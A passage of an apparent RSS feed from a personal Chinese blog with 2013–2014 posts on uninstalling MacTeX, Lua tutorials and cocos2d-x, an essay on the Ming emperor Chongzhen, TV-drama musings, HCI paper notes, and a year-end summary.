最后一步 最后这步是最恶心的，我们需要打开MacTex.pkg这个安装包（删掉了的再去下载吧= =），我们需要在最上面的菜单栏里找到“显示文件”，然后就会出现完整的安装文件位置。我们要做的，就是查找文件的相关内容和ImageMagick，删掉它们，大功告成。 官网：http://www.tug.org/mactex/uninstalling.html 图文版：http://pan.baidu.com/s/1gd20JWB</description></item><item><title>Lua一日游:(5) cocos2dx 与 Lua</title><link>https://changkun.de/blog/posts/lua-5/</link><pubDate>Sun, 09 Mar 2014 16:55:50 +0000</pubDate><guid>https://changkun.de/blog/posts/lua-5/</guid><description>Cocos2d-X.org是cocos2d-x的官网，我们可以在官网上下载到它的最新版本，据说现在正在测试的版本3.0相比2.0会有比较大的改动，所以我们这里直接下载的3.0版本。
下载完毕后，我们可以知道这样一个readme的文件，如图所示。
这里面已经写好了如何去创建一个cocos2d-x的工程，所以我们按照他所说的，运行这个py脚本，得到一个新的窗口，如图所示。
创建完成后，我们打开mac平台下的xcode工程文件，如图所示。
打开工程后，可以看到Xcode不支持lua的高亮形式，我们等会儿采用LDT进行lua脚本的编写，我们先尝试编译一下这个工程，因为是第一次编译，所以会花较长时间，如图。
我们把LDT的workspace切换到工程的目录下，然后删除掉Resources里面多余的文件。
删除完成后，我们使用LDT创建一个名为main.lua（ 写上一行代码：print(&amp;ldquo;hello lua&amp;rdquo;) ）的文件，并在Xcode里面更改调用的文件，可以看到在控制台处，输出了Lua的调用结果。
下面我们试一下使用cocos2d来添加一个文本到屏幕上，如图示。</description></item><item><title>Lua一日游:(4)面向对象——函数闭包形式</title><link>https://changkun.de/blog/posts/lua-4/</link><pubDate>Sun, 09 Mar 2014 15:44:51 +0000</pubDate><guid>https://changkun.de/blog/posts/lua-4/</guid><description>我们直接来看代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 -- 函数闭包来实现面向对象 -- 运行速度略慢与复制表的方式, 不过可以忽略不计 function Car(name) local self = {} -- 函数内部的一个local value local function init() self.name = name end self.introCar = function() print(&amp;#34;hello &amp;#34;..self.name) end init() return self end -- 构造了一个Car对象 local p = Car(&amp;#34;bengchi&amp;#34;) p:introCar() -- 继承的实现，如果我们假设Plane可以继承自Car的话 function Plane(name) local self = Car(name) -- local function init() --也可以复写 -- end self.</description></item><item><title>Lua一日游:(3)面向对象——复制表形式</title><link>https://changkun.de/blog/posts/lua-3/</link><pubDate>Sun, 09 Mar 2014 15:35:05 +0000</pubDate><guid>https://changkun.de/blog/posts/lua-3/</guid><description>我们直接来看代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 -- 我们定义一个对象People（其实是一个表） People = {} -- 定义成员函数方式1 --function People.</description></item><item><title>Lua一日游:(2)Table和Array</title><link>https://changkun.de/blog/posts/lua-2/</link><pubDate>Sun, 09 Mar 2014 15:20:37 +0000</pubDate><guid>https://changkun.de/blog/posts/lua-2/</guid><description>我们直接来看代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 -- 定义一个Table Config = {hello = &amp;#34;hello lua&amp;#34;, world = &amp;#34;world&amp;#34;} -- 一个被叫做Config的Table被定义出来，键值hello索引的值是&amp;#34;hello lua&amp;#34;，类推 Config.words = &amp;#34;hello&amp;#34; -- 键值为words索引的值为&amp;#34;hello&amp;#34; Config.num = 100 -- 键值为num索引的值为100 Config[&amp;#34;name&amp;#34;] = &amp;#34;zhangsan&amp;#34; print(Config.words) -- 访问形式1 本质是键值 print(Config[&amp;#34;words&amp;#34;]) -- 访问形式2 print(Config.name) -- 更多的例子 print(Config.</description></item><item><title>Lua一日游:(1) Mac环境搭建与基本语法</title><link>https://changkun.de/blog/posts/lua-1/</link><pubDate>Sun, 09 Mar 2014 14:35:12 +0000</pubDate><guid>https://changkun.de/blog/posts/lua-1/</guid><description>1、环境搭建 Lua的官方网站为lua.org，你可以下载到整个lua的源码，并且在Mac平台下直接使用make命令进行编译，只需要切换到对应的lua目录使用make命令，之后会提示你需要在什么PLATFORM下进行make，我们输入make macosx即可完成整个编译过程。如图所示。
编译完成后我们可以在src目录中看到两个新生成的文件（lua和luac），如图所示。
我们可以使用luac对lua script进行编译，或者使用lua直接执行lua脚本（可以是源码，也可以是编译后的文件）。如图所示。
在Mac中使用Lua进行开发，有一个比较好用的Eclipse插件，或者是独立版的LDT(Lua Dev Tools)，你可以在http://www.eclipse.org/koneki/ldt/中下载，下面是它的使用界面：
2、基本语法 我们直接使用源码来查看：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 print(&amp;#34;hello lua&amp;#34;) -- 输出 local num = 10 -- 定义一个局部变量 print(num) -- 输出 -- 定义方法，无参数 function sayHello() print(&amp;#34;hello lua&amp;#34;) end sayHello() -- 执行方法 -- 定义方法，有参数 function max(a,b) if a&amp;amp;gt;b then return a else return b end end print(max(2,4)) -- 执行方法 -- 循环语句 for var=1, 100 do print(var) -- 打印1到100 end</description></item><item><title>崇祯为什么不跑南京？</title><link>https://changkun.de/blog/posts/%E5%B4%87%E7%A5%AF%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B8%8D%E8%B7%91%E5%8D%97%E4%BA%AC/</link><pubDate>Wed, 05 Mar 2014 15:39:31 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%B4%87%E7%A5%AF%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B8%8D%E8%B7%91%E5%8D%97%E4%BA%AC/</guid><description>引子 哥们儿一直推荐我去读《明朝那些事儿》，于是今天我顺便就问了他标题中的问题，并在QQ上讨论了一段。觉得有必要整理出来，因为很久没打过这么多字了。
正文 我对问题的论述，因为对历史细节了解不足，产生了如此看法：
对于任何一个生物来说，风险来临，跑嘛，正常反应，你也没什么丢脸的嘛，中国历朝历代皇帝遇到这种情况，只要还有可能，不都是跑嘛，对吧，西晋不行了，南迁永嘉南渡建东晋嘛，对吧，安禄山打来了，唐玄宗带着杨玉环跑嘛，杨玉环耽误了跑，那不行杀掉接着跑嘛，那后唐的时候唐僖宗都跑过嘛，北宋灭亡了，康王赵构也跑嘛，南边建南宋嘛，这是正常的，尤其是宋朝那个宋徽宗。
假设崇祯跑了，实际上对明朝来说还是相对有利的，我说三个原因：
第一：北方当时连年大旱、大灾，基本上糜烂了，跑到南方区，一片烂摊子丢给李自成嘛，李自成后来证明他实际上没有行政统治能力，对吧，一帮农民军嘛，没有长期行政习惯和传统，加上北方还有一个虎视眈眈的清朝。说不行李自成真的就像后来那样，一会儿就兵败如山倒，那崇祯再带着几百年的皇权正统你再回去，是吧。东山再起。
第二：如果你跑，那么在南方建立南明，即使是跟北方，不管是李自成的政权还是清朝，划江而治，合法性问题，因为你是崇祯嘛，天然合法的。比如说，无论是东晋司马睿还是南宋赵构，刚刚登基的时候，都面对这巨大的一个统治合法性的问题，没有正式让位给赵构嘛，所以赵构一朝，南宋高宗一朝，始终面对着一个是不是要迎二圣还朝嘛。
第三：明朝有一个天然的优越，在朱棣当时北迁迁都到北京，南京留下了一套完整完善的行政系统嘛，北方一个尚书，南方也有一个嘛，明朝始终是双首都制啊，崇祯如果这个时候南迁到南京，有一套现成的马上就可以启动的行政班子啊，这笔当时赵构，那面对的情形要好得太多太多了啊。
哥们儿是这么回答的：
你要知道，明朝历代皇帝与大臣虽说算不上多么英明与忠诚，但是都有一个很突出的特点，俗语叫一根筋，不开窍，历史的说法叫大明君臣的气节。他们是很骄傲的，历史上没有任何一个朝代的君王的气节能与明帝相提并论，所以，不要拿崇祯和其他朝代的亡国之君相比，崇祯是值得后人尊重的，其他人不配
东山再起，说的容易，孙承宗，孙传庭，袁崇焕等人都被干掉了，他拿什么东山再起？皇太极那帮人极具军事天赋，至于崇祯，除了气节与节俭……一无是处……更何况我说了，当时根本逃不掉，因为没人帮他……
明朝发展到一半时，因为轻信谗言，宠信太监，一个皇帝亲征不幸被俘，看到了吧，皇帝都被浮了，主力全部被浇灭，京城差不多是一座空城，而成外有几十万敌军，一派亡国之景，但就是因为一个人，于谦，一个文官，力挽狂澜，一个人撑起天下，拯救了大明，那个时候的局势和崇祯也差不多了，但是，因为于谦在哪里，而崇祯，没有第二个于谦来救他了……即使逃掉，充其量，苟延残喘……而大明皇帝的尊严不允许他那样做
人才！！崇祯的时候不是没有，而是全被崇祯自己清算完了！！没有人，机构顶个鬼用啊。作为新中国百姓的一员，我从没为自己的中国人身份感觉骄傲过，但当我知道了明朝的历史后，我觉着，作为一名中国人，我感到无比的自豪！明朝无论是文化，军事实力，还是人们的开放程度，都远远领先当时的世界很多年，大致就是，明朝就是现在的美国，而世界其他国家……和朝鲜有一拼……
下面我总结如下：
崇祯本人具备以下特点：
1、不肯担任责任。
崇祯怎么杀他那个兵部尚书陈新甲，陈新甲和他密谋，说主要敌人是李自成，和后金谈判 ，不要和辽东打了，崇祯怎么说的，崇祯叫他去谈判，后来谈判好不容易成了，结果陈新甲一个失误把消息泄露了，举朝大哗，怎么能投降呢，结果崇祯窝气，找了个借口把他杀了，兵部尚书啊，当代明朝为数不多的知兵的兵部尚书啊。还有一个兵部尚书也是这样啊，名字记不清了，当时崇祯觉得这人长得帅，然后就说长得帅得当门神啊，就叫去当兵部尚书了，结果后来有一次打败，找不到人担责任就把他杀了，这哥们长得帅也有错啊。这不是不但责任是什么= =
2、不给好处，办好了，没好处，办坏了，杀。
崇祯和中层关系不好，在明代历史上，甚至整个中国历史上应该算孤例是吧，当政十七年。首先，刻薄寡恩，干活行，干活之后给点好处不行，比如，帮他在潼关战死的孙传庭（我是看《大明劫》知道的，不知道准不准），孙传庭是晚明时期了不得的一个文臣啊，当年和洪承畴灭李自成张献忠，后来崇祯怀疑他装病，让他干活他装病，最后实在不行了，想想没什么人能打仗了，就用起了孙传庭。孙传庭刚从牢里出来，不了解前线情况，因为他认为已经把李自成灭的基本已经没戏了，所以他和崇祯吹牛，也是他这个人爱吹牛，说给五千精兵就灭了李自成，孙传庭到前线一看，李自成几年时间已经壮大到山呼海啸了，孙传庭马上报告说五千搞不定，简单的彼方就是你的中层干部给你报了一个预算，根据实际情况说这不行，我们提高点，这个时候应该实事求是嘛，但是崇祯说，你丫不是说五千就够么，不给。所以后来51岁孙传庭自己冲入敌阵而死。但是崇祯说，孙传庭别是跑了吧，自己脱轨卸甲潜逃了。后来所有按照阵亡将军所有的桖典不给，封赠什么的毛都没有。要钱没有。大臣死了之后没有任何好处。
3、崇祯在执政过程中丧失了和群臣之间的基本信任与共识，没有人支持他跑。</description></item><item><title>看了这么久外剧，也就发现这部片子火这么厉害</title><link>https://changkun.de/blog/posts/%E7%9C%8B%E4%BA%86%E8%BF%99%E4%B9%88%E4%B9%85%E5%A4%96%E5%89%A7%E4%B9%9F%E5%B0%B1%E5%8F%91%E7%8E%B0%E8%BF%99%E9%83%A8%E7%89%87%E5%AD%90%E7%81%AB%E8%BF%99%E4%B9%88%E5%8E%89%E5%AE%B3/</link><pubDate>Thu, 20 Feb 2014 21:59:56 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%9C%8B%E4%BA%86%E8%BF%99%E4%B9%88%E4%B9%85%E5%A4%96%E5%89%A7%E4%B9%9F%E5%B0%B1%E5%8F%91%E7%8E%B0%E8%BF%99%E9%83%A8%E7%89%87%E5%AD%90%E7%81%AB%E8%BF%99%E4%B9%88%E5%8E%89%E5%AE%B3/</guid><description>林子大了什么鸟都来了。
一、黑历史 1.1 日剧向 从高中就开始转向看日剧，期间看过的片子数不胜数了，其中其一部片子还是记忆犹新的：《野猪大改造》。当时第一次看日剧的时候给我的感觉是文化差异巨大，也就是电视剧整体甚至细化到里面每个人物的“逼格”都很高。虽然很不符合当时的思维观念（现在回想起来可以称之为固化），不过剧情相比常年看国产基本上长达四十至八十几集的尿性，日剧短小精悍集数和情节发展的迅速也逐渐觉得比较适合我们这些学生党。当时《野猪大改造》、《偷偷爱着你》、《父女七日变》、《十年之后依然爱着你》、居然有林志玲参演的《月之恋人》以及后来的《Q10》、《SPEC》、《神探伽利略》等看过的数不胜数的日剧（存在感比较弱的片子对不住了= =），每周追两部至三部，每部每周更新一集，均是长度不超过十二集的片子。
每周不会像国产那样，一天不看就播了三集，一周上课下来周末发现剧情已经推进了十多集了，想跟进也跟进不了了。一周一集的进度丝毫不会感到有压力感，甚至每集的剧情独立，偶尔太忙漏看一两集也不会造成任何压力，而且还能轻松愉快的学习一周，利用上课期间放学回家吃饭的时间提前下载好，周末的时候掏出mp4，卧床一下午，何其愉快。
1.2 美剧向 高二下学期的时候是实在是高考眼看英语就要跪了，确实对不起英语老师，高中三年一节课都没听过。于是在拖了好几百集美剧进了mp4，其中有《越狱》、《英雄》、《迷失》、《24小时》以及一些类似美剧的加拿大剧《读心人》，到现在依然关注的《漫威》系列，甚至高三的时候晚上躲在被窝里看通宵。虽然当时仅仅只是抱着学英语的态度去的，但是实在抵挡不住剧情逆天的吸引人，日剧平平淡淡的感情基调必然比不过那些强大的超能力、黑魔法、黑科技、热血硬汉等只有老美才想得出来的逆天剧情。更逆天的剧情发展是，就是这些美剧最后让我英语高考时候考了有史以来最高。
1.3 韩剧向 韩剧的话是在漫长的没有中意的日剧中慢慢才开始追的（在此之前被一些零星的观点把观念给训练成韩剧都他妈是脑残片）。之前看过的这些片子，比如确实人生有史以来笑到肚子痛的《那个傻瓜》、《我是老师》等，第一部也是唯一一部看哭了的《秘密花园》，居然有无视“主角不败定律”的《Sign》、《49日》，表现青春奋斗朦胧爱情的《梦想高飞》等等等等…还有印象比较深的有《辛德瑞拉先生》、《城市猎人》、《间谍明月》、《灿烂的遗产》、等等等等（= =一时想不起那么多了），那绝对是课余娱乐的必备首选。甚至我觉得，其中很多都不亚于现在火出翔《继承者们》、《来自星星的你》。
后来发现韩剧的路数确实和日剧完全不同，而且剧本确实比日剧更加吸引人，在受够了日剧类似哲学般的熏陶后，转向韩剧，也成了“历史的必然”。
二、迷文化 很大程度上，个人的一些思维观念甚至行为习惯等等受影响比较多的来自日剧（也有日漫等），日剧向来都是以传承精神文化理念为目的，所以每一部片子（至少我看过的是这样），导演都会非常用心的去表达一个核心的价值观点，亦或是友情的，亦或是爱情的，亦或其他（现在的日剧好像依然是这个路子）。甚至于像《My Boss My Hero》这种黑社会老大身份的片子都可以拍出文化上“迷の感动”，由内而外的散发出一种连黑社会都可以被感化归善的气息。久而久之，思维方式、价值观念等等必然是受到这些电视剧的潜移默化。甚至有时候会觉得有些内心中非常重要的价值观是形成于看过的某部日剧。
比方说打架这种在我小学看来特别平常的行为（→ →当时好像老师上课我还抓着某同学出教室在外面对打，好暴力啊），后来居然被日剧给感化了（卧槽我自己真不信，但是好像事实就是这样），所以后来不断克制自己当看到十分不爽的人时候不去来两拳头（→ →好暴力呀），努力把对方想象成弱智、傻逼，不跟他一般见识→ →呵呵。
韩剧在一定程度上影响了我对新鲜事物的追求感（不要抬杠说是喜新厌旧，自己查字典），每次看一部新的韩剧，都会从上面看到各种各样的新奇元素，对组成每集电视剧的元素的兴趣超过了对剧情本身的情况同样是有的。甚至是每集结尾的定格动画都做的那么精致，新鲜感绝对是一流。想想国产直接掐掉飘广告也就只能呵呵呵呵呵了。
三、熊观点 《来自星星的你》之所以火得这么厉害，个人觉得和这么久的韩剧风向是分不开的，持续的片子袭来而来《听见你的声音》、《继承者们》、再到《来自星星的你》，播出周期已经接近一年了。每部片子都能准确的抓住观众的心理，观众们喜大普奔，自然就会有所谓“韩流”袭来。每周更新两集的播出方式（马桶台不是效仿过一阵么，好像现在给砍了吧，国产剧的尿性，能以韩剧的方式来播？），边拍边播，这才是魅力所在。火是必然的，正是说明国产之烂已经不是一天两天了。
纵观五年间看过的这些韩剧，无论从拍摄画面的精美度、熟悉的演员们的演技、还是剧本本身的丰富度等等都有着明显的进步与飞跃。从当年韩国50%以上的收视率的片子《灿烂的遗产》，女主角甚至穿毛衣出镜，到现在出现在巨大进步的服装行业，真的有时候看一部电视剧都能够看出一个社会发展的质量了。比如，三星甚至把自己即将上市的手机提前放入剧中，以此来做宣传推动销量，这次的《来自星星的你》火了，不就带动了一条巨大的商业链么。
反观国产电视剧，真的只能用一个烂字来形容了吗。演员手里有台iPhone，MacBook，好像整部戏档次就因此高了一样。导演你他妈连macbook里面装windows，居然还若有其事的掏出一个鼠标插上的镜头都敢放出来还有什么底线是不敢挑战观众的！不是国内的公司不投你，我觉得我是老板投你也觉得没意思。哦对，还有广电局呢，话还真不能说绝了。不坑爹还是国产吗？爹都习惯啦。当然，像《爱情公寓》这种能够突破广电的层层阻碍，发展到第四季，必须给以大力支持，即便是妥协了。四季看下来，我能够感受到时代在变化。
片子火了，围观的人多了，不同的声音自然也就有。（哎哟人家片子里面导演给参数就是这样设定的嘛，我只是根据参数演好拿钱走人好不好）就好像xx网站流量大了，人多了，就容易被封一样，总会有下了资源还举报的人，可以理解嘛。话不在多，意思到了就行。
为什么会有这些不同的声音呢？因为别人确实做的好，必须得找点理由填补一下自信嘛，不然以后我大天朝还怎么混。就好像我堂堂中科院搞出一个Copy OS，你当演激情戏呢，不喷好像就会xx一样。这事儿，不敢说太细。
尾巴 日剧很久都没看了，不过有当年高中还学过一丢丢的日语基础，现在脑袋还好没把那块记忆删除勉强也认得些。而韩语，看韩剧这么久了，没有主动学习过韩语，居然有一次在无聊找高清片源的时候在看了五分钟后才发现原来视频没有字幕。到现在偶尔不看字幕也能够听懂一些句子了，虽然，韩文一个字不认识。（→ →哈哈文盲一只）</description></item><item><title>Paper读后感：人机交互的进展及面临的挑战</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E6%9C%BA%E4%BA%A4%E4%BA%92%E7%9A%84%E8%BF%9B%E5%B1%95%E5%8F%8A%E9%9D%A2%E4%B8%B4%E7%9A%84%E6%8C%91%E6%88%98/</link><pubDate>Tue, 18 Feb 2014 23:02:13 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E6%9C%BA%E4%BA%A4%E4%BA%92%E7%9A%84%E8%BF%9B%E5%B1%95%E5%8F%8A%E9%9D%A2%E4%B8%B4%E7%9A%84%E6%8C%91%E6%88%98/</guid><description>今天随手在知网上搜了一篇paper读来消遣，虽然不知道其他文献是怎么个看法，至少早在2003年，winXP横行，Mac又尚未崛起的年代，这篇paper的作者能够整理并综述出这些的观点确实让我能够feel到什么才是真正的学术前沿。
刚开始读引言就让我觉得感触颇多，上面提到美国总统信息技术顾问委员会的“21世纪信息技术报告”中提到了一些观点，这些观点放在十年后的今天，亦然感觉是很疯狂的：
更好的人机交互将使计算机易于使用，并使使用者更愉快，因而提高生产率。考虑到现在经常使用计算机的人数多，研制这种计算机的回报将非常巨大。最理想的是，人们可以和计算机交谈，而不像现在这样仅限于窗口、图标，指针（WIMP）界面。
无疑这些实际上到了2006年Jobs成功的发布他的iPhone才将这一切打响，越来越多的设计师们涌现出来，多年前的人们将目标放眼于满足需求，而如今已经上升到了视觉层面。
文中提到了几个交互“技术”（我觉得说观念、理念更为恰当，），包括多通道交互、交互模型、虚拟现实、三维交互、可穿戴计算和移动计算、智能空间、标准化。
**多通道交互（Multi-Modal Interaction）**这种理念说的是一种使用多种通道与计算机通信的人机交互方式，**通道（modality）**涵盖了用户表达意图、执行动作或者感知反馈信息的各种通信方法，比方说，多通道交互里面一个比较重要的通道就是自然语言理解。而采用这种方式的计算机用户界面称为“多通道用户界面”。简单来说，就是用户对计算机的输入并不是单一的线性的输入过程，而是类似于“多线程”情况下的一种输入，这些输入信息是相辅相成的。多通道交互的一个核心研究内容被称之为多通道的整合问题。Paper里面提到有一篇文献做了一个非常简单的尝试，那就是把地域（定位）和语音识别结合起来做语音识别，效果有显著提升。我觉得这点是毫无疑问、毋庸置疑的，虽然Paper里面还提到了很多其他的关于多通道整合问题的研究结果，不过似乎十年前的HCI是一滩死水。
**交互模型（Interactive Model ）**的类型很多。一类是从系统的结构出发，讨论界面在系统中的地位和分解，称之为“界面结构模型”。一个典型的例子就是将界面分成三部分（表示部件、对话控制、应用接口）的Seeheim模型。另一类是从系统设计的角度了解用户的“用户特性模型”。它分析不同用户的特点，以提高系统的针对性和适应性，增强界面个性化和提高效率。其典型例子是按照用户对系统、领域的知识、经验、技能的不同，将用户分为偶然、生疏、熟练、专家型等四类用户。如果从认知科学出发，分析用户如和计算机交互的“人机交互模型”，即行为模型。Paper里面说的貌似非常的高端且洋气，我觉得里面还是没有摆脱当时windows横行的传统理念，在windows操作系统上软件的界面可以说是以工程师思维来设计的，一个功能需要在复杂的菜单中寻找，虽然是经过分类的菜单，但是里面的交互是在是弱得可怜，里面有提到说当时已经提出了“以用户为中心的设计（User Centered Design）”这种设计方法，而确实直到近年才广泛的被商业化。里面还有提到另一种交互设计，也就是当时被广泛使用的“基于剧情的设计方法”这种方法从用户的观点详细地给出交互过程的全部角色（人、设备、数据源、系统等）；各种场景的假设；剧情的描述；某种形式的人机对话逐步分解；其他各种条件（如协议、同步、例外事件等）。由于该方法符合人的认知过程、在较高层次上描述了用户的意图、又便于实现所以很多大型游戏业是采用的此类思想，比方说：上古卷轴系列。
**虚拟现实（virtual reality）**和三维交互（我更喜欢把它称之为空间交互）这两项在这篇Paper的分量简直少的可怜，这两个技术的非强制、无障碍、高精度、低价格是以后交互设备的发展趋势。其中虚拟现实这项技术必须在游戏上有用武地，当虚拟现实搭配了可穿戴计算设备和空间交互甚至是智能空间（一个嵌入了计算、信息设备和多通道传感器的空间）时，早已在科幻电影中出现的场景便真正实现了。有人说2014年是可穿戴设备的元年，如果以移动手持计算设备的发展速度来看，可穿戴设备的发展可能还需要十年的时间才能够达到我们目前的理想状态。
移动计算、图形界面、虚拟现实等等等等，这些已经成为21世纪的工业革命的起点，这根时间轴应该怎么画，我们可想而知。</description></item><item><title>今天编译项目真心觉得很憔悴啊</title><link>https://changkun.de/blog/posts/%E4%BB%8A%E5%A4%A9%E7%BC%96%E8%AF%91%E9%A1%B9%E7%9B%AE%E7%9C%9F%E5%BF%83%E8%A7%89%E5%BE%97%E5%BE%88%E6%86%94%E6%82%B4%E5%95%8A/</link><pubDate>Wed, 22 Jan 2014 20:57:35 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%8A%E5%A4%A9%E7%BC%96%E8%AF%91%E9%A1%B9%E7%9B%AE%E7%9C%9F%E5%BF%83%E8%A7%89%E5%BE%97%E5%BE%88%E6%86%94%E6%82%B4%E5%95%8A/</guid><description>花了半个月写了个deep learning的代码，今天第一次编译，第一层训练奇葩的花了8个小时，第二层训练奇葩的花了40分钟，第三层训练奇葩的花了30分钟，当时就跪了，当我截图玩第三层后发现运行的控制台不见了，当时就一气急败坏，于是才意识到
1 system(&amp;#34;pause&amp;#34;); 这句代码的重要性。于是冷静下来仔细思考，于是想到用release编译会不会快很多很多，不出所料，不知是 cv::Mat的原因还是 vector&amp;lt; vector&amp;lt; int &amp;gt; &amp;gt; 的原因，release编译后两分钟就出结果了，倍感编译的重要性。 还有，在程序开跑的时候，意识到单核跑程序根本就是太浪费资源了，放着四核八个线程，20%-22%的恒定CPU占用太蛋疼了，于是从大神那里了解到OpenMP，有空抽时间了解一下好了。 再有，在程序开跑的时候，意识到自己写的代码太糟糕了，果然是程序敲完后才会发现自己有多蠢，好吧，暂时告一段落了。</description></item><item><title>最近读了点人工智能</title><link>https://changkun.de/blog/posts/%E6%9C%80%E8%BF%91%E8%AF%BB%E4%BA%86%E7%82%B9%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/</link><pubDate>Sun, 12 Jan 2014 18:54:43 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9C%80%E8%BF%91%E8%AF%BB%E4%BA%86%E7%82%B9%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/</guid><description>上个月开始就一直在筹划深入学一点视觉方面的知识，好为之前的Demo做进一步改进与更新。另一方面一直在规划数学建模初步的那个教程，想想之前建模方面的模型和代码有大部分不熟悉，于是就盯上了神经网络模型（做预测给外行人的感觉就是超级高端啊~）。
这一盯就跪了，深刻的发现，人工智能、机器学习、计算机视觉、神经网络、模式识别等等这些名词之间的所属关系在我的脑海里混乱不堪，于是直到最近才大致摸索出来了一条路。
这个学期做项目的时候特别是在实现了一些看起来很神奇的功能之后，真的就以为好像计算机能够做到任何事情，并且在对外专的提问上问出了自以为很高端结果很愚蠢的问题（后来初步学了一些可计算理论才意识到的）。早期的时候，学术界对人工智能的普遍认识大致是这样：让机器完成只有人类才能做的事情，就必须先让计算机理解这些事情，而做到这一点就必须让计算机有类似人类这样的智能。而到了今天，几乎所有的科学家都不会坚持这样的看法，因为，当今做的非常出色的人工智能，比如自然语言处理，计算机视觉等这方面的领域，它们全都靠的是数学，更准确的说靠的是统计。所以经常也会有一些不知情的同学问我概率与统计这门课到底为何会存在，我每次给他们的回答就是：如果没有概率与统计，就没有21世纪的一切科学（当然这种说法有点夸张了，但是事实上也不是那么的夸张）。
起出我看了一点点书就天真的认为，能够找到一个算法，直接就能讲图像中的手直接分割出来，最近这个观点在我的脑海里变得越来越反感和厌恶。因为它根本就违背了“自然法则”，读了点神经网络之后，我才认识到，“学习”对于识别的重要性。因为人类就是如此，人类通过长达好几年的神经反馈、刺激、更新等一系列的人脑进化，由一个什么都不懂的婴儿逐步成长为一个具有独立思想的个体。神经网络充当的就是这样一个角色，只不过在人脑中的网络太复杂，目前看来根本不可能进行非常高端的推进。因此，机器学习的发展成了20世纪后期迫切迅猛需求发展的一门人工智能的分支学科，神经网络作为其很火的一个模型，结合了很多学科，模拟出人的神经过程，是一种很好的学习方法，但是他的最最基本的思想，仍然是统计学。
我的高数老师这么跟我说，科学家们总是在处理线性的问题（我抱以最天真的幻想去相信NP=P），因为这些问题真的很简单。经常听他这么说，我十分好奇到底人类能不能够处理非线性的问题？会不会我们万能的数学发展到顶峰，连非线性的问题都处理不了？当然这一切都需要等待时间来验证了。 我已经准备好跳入这样一个大坑了，什么都拦不住我。</description></item><item><title>2013 年终总结</title><link>https://changkun.de/blog/posts/2013-summary/</link><pubDate>Tue, 31 Dec 2013 19:26:30 +0000</pubDate><guid>https://changkun.de/blog/posts/2013-summary/</guid><description>去年我20岁了，运气好一点儿，人生已经过去四分之一。完成了人生里第一个过渡，回想起来不知不觉我已经大二了，说得再惊慌一点，转眼我又要毕业了。
一、关于奋斗 {% centerquote %} Dreams are like classics, never fading but growing more precious with time passing by. {% endcenterquote %}
2013年年初的时候参加了大学里第一场较为正式的比赛，记得家里好像极力反对我参赛，年少轻狂也是不是第一回了，所以也就不顾一切了。参加这个比赛我凭着自己初入大学，早就怀揣对数学的满腔热情，第一次熟悉了解决大问题时候什么是团队合作。算是2013年的第一份收获吧，看看当时比赛完后Team的合影，我的样子好像好吓人呐有木有？
如今早就不是一个人打天下的时代了，有幸能够完成这辈子第一次合作共事，共同完成一件事情的时候确实挺爽的，因为这时候效率特别高，特别带劲。我记得当时还提前一个晚上完成了，都回寝室睡觉去了，想想那些还在机房挑灯奋战的同志们，心里好像还偷着乐过好一阵子。有道是天时不如地利，地利不如人和啊。
2013年01月25号那天我终于决心开通自己的博客，但是直到大一下学期开学之后才开通，这期间经历了很多烦心的事情，各种错误，各种失败，当时砸机子的心情一股一股的冒，我真是个沉不住气的人啊。幸运的认识一些给力的朋友，在他们的指导下，完成了人生中第一次建站。3月月底建站完成至今已经积累1W点击量了啊哈哈哈哈。忽然想起一个笑话：失败是成功的妈妈，失败怕什么，失败多了，你爸笑死了~
三月底奶奶的八十大寿，制作了人生中第一部视频，作为寿礼献给奶奶，花了一周时间在学校转悠拍摄素材，最后被老妈评为糟糕透了，这证明了一件事，我确实不适合做设计啊什么的。
四月份还做了一些奇葩的事情，比如开发标准库啊什么的，这里也不好意思扯皮了，算是一次奋斗，莫莫记在心里好了。有些事情只有坚持了才算是成功。
转眼到了五月，我果断的拒绝了当时又一次的建模比赛，我决定把心思全部放在写代码上，翻了翻当时的日志记录，好像事情也挺多的，教师资格证（下半年补考干脆没有报名，好吧，我浪费钱了，而且浪费了很多），考四级等等等等。人生苦短，努力做好手头的事情，一件一件的来，切记浮躁。
暑假的时候我又一次擅作主张的调整了回家的时间，选择在学校里做一些更加激动人心的事情（事实上在学校里颓废了很长一段时间），非常幸运的，能够认识你们并一起共事是令我搞到无比愉悦的。就像是说：如果想走得快，就一个人；如果想走得远，请结伴而行。
我迷恋的两家科技公司：Google和Apple，一个极客路线，一个人文路线，之前对Apple的一些偏见随着逐步读了一些相关的资料后，慢慢的消除了这些偏见，我才逐步认识到：偏见来自无知和愚蠢。
开学后在龟谷认识了一大帮子学长，不过虽然一直处于羞涩没做过多的交流，确实惭愧。正如郭郭所说：扎堆抱团才是王道啊。
大创的交流会结束后，就像是给自己的当头一棒，透彻的感受到英语的重要，从高中开始就再也没有认真听过英语课，全凭在电视剧里学到的那点英语，想想自己还是个弱渣中的弱渣啊。曾幻想随口说英文是一件多么酷的事情啊，革命尚未成功，同志仍需努力。 图片
项目结题的时候自我感觉良好，认为自己完成了自己该做的事情，没什么可遗憾的，最终还是有些不愉快，缺陷满满，发言应该是被设计成稿的，不能随心所欲。
一年又一年，回顾去年的年终总结，放下了一些事情，思考了一些事情，决定了一些事情。现在来看这些决定或多或少完成了一些，但是仍然是浑浑噩噩的，我似乎在逐渐偏离我最初的梦想，希望最初的梦想不被现实消磨殆尽。
